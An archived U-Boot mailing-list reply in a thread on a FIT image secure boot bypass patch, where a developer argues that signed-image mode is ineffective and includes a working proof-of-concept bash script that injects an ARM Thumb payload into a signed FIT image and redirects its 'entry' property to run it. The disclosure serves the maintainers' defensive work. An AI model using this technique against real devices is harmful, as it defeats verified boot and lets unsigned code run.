All of lore.kernel.org
 help / color / mirror / Atom feed
From: Rasmus Villemoes <ravi@prevas.dk>
To: Tom Rini <trini@konsulko.com>
Cc: u-boot@lists.denx.de
Subject: Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images
Date: Thu, 05 Mar 2026 15:48:52 +0100	[thread overview]
Message-ID: <87h5quqqln.fsf@prevas.dk> (raw)
In-Reply-To: <20260302220937.3682128-1-trini@konsulko.com> (Tom Rini's message of "Mon, 2 Mar 2026 16:09:37 -0600")

On Mon, Mar 02 2026, Tom Rini <trini@konsulko.com> wrote:

> There is a flaw in how U-Boot verifies and generates signatures for FIT
> images. To prevent mix and match style attacks, it is recommended to
> use signed configurations. How this is supposed to work is documented in
> doc/usage/fit/signature.rst.

So the issue at hand is of course bad enough.

But can we please stop pretending that "mix and match" attacks are a
problem with the reguired=image mode, at least compared to the giant
hole which is that the 'entry' property can be modified arbitrarily [1],
including to point at a payload injected to the FIT image itself?

IMO, we should nuke all the code which deals with the required=image
mode and make it a build-time error to have such a key in the control
dtb, it offers no protection at all, and by having all the verification
logic duplicated in _image and _conf versions, it just makes it harder
to spot problems with the verification code in general.

[1] I just did a POC on a beagleboneblack. Add a

int poc_func(int arg) { printf("Got %x news ...\n"); }

function to the U-Boot source code, add a dummy call poc_func(0)
somewhere so it doesn't get gc'ed, then use something like this to
modify a FIT image with signed image nodes. bootm will happily accept
it, and jump to the thunk embedded in the FIT, which in turn will (for
demonstration) call that poc_func and you'll see "Got bad news ..."
printed.

===
#!/bin/bash

FIT_IMAGE=kernel.itb
FIT_KERNEL_PATH=/images/kernel-1
FIT_LOAD_ADDR=0x82000000

# This is only needed because we want to call back into U-Boot for
# demonstration, in practice one would make the payload
# self-contained.
RELOC_OFFSET=0x1f76d000

# Find the address of poc_func function
build_addr=$(nm ../u-boot | grep -w poc_func | awk '{print $1}')

printf -v addr '%08x' $((0x${build_addr} + ${RELOC_OFFSET}))
echo "poc_func post-relocation address: ${addr}"

{
    # movw    r0, #2989       @ 0xbad
    printf '%b' '\x40\xf6\xad\x30'
    # ldr     r3, [pc, #0]
    printf '%b' '\x00\x4b'
    # bx      r3
    printf '%b' '\x18\x47'
    # The constant loaded above
    printf '%b' "\x${addr:6:2}\x${addr:4:2}\x${addr:2:2}\x${addr:0:2}"
    # Add a marker that will help us locate the byte offset in the FIT image of the thunk.
    printf '##exploit code##'
} > code.bin

fdtput -t bx -p "${FIT_IMAGE}" / poc $(xxd -i < code.bin | tr -d ,)
offset=$(grep -a -o --byte-offset '##exploit code##' "${FIT_IMAGE}" | cut -f1 -d:)

# Change the 'entry' property of the kernel image so that it points to the start of our
# payload. That is 12 bytes long, so subtract 11 (because thumb
# mode...). Adjust as necessary.
fdtput -t u "${FIT_IMAGE}" "${FIT_KERNEL_PATH}" entry $((FIT_LOAD_ADDR + offset - 11))

===

Adding a sanity check that 'entry' points somewhere within [$load,
$load+size] could make this harder, but is not enough; there are likely
to be byte sequences in the kernel image that decode as some useful jump
instruction.

Rasmus

  parent reply	other threads:[~2026-03-05 14:49 UTC|newest]

Thread overview: 14+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-03-02 22:09 [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images Tom Rini
2026-03-03  8:08 ` Ahmad Fatoum
2026-03-03 13:32   ` Simon Glass
2026-03-03 15:54     ` Tom Rini
2026-03-03 15:53   ` Tom Rini
2026-03-04  9:22     ` Nussel, Ludwig
2026-03-04 12:04       ` Simon Glass
2026-03-05 18:25         ` Quentin Schulz
2026-03-04  7:31 ` Sascha Hauer
2026-03-04 14:47   ` Tom Rini
2026-03-04 16:33   ` Quentin Schulz
2026-03-05  8:32     ` Sascha Hauer
2026-03-05 14:48 ` Rasmus Villemoes [this message]
2026-03-05 18:07 ` Tom Rini

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=87h5quqqln.fsf@prevas.dk \
    --to=ravi@prevas.dk \
    --cc=trini@konsulko.com \
    --cc=u-boot@lists.denx.de \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.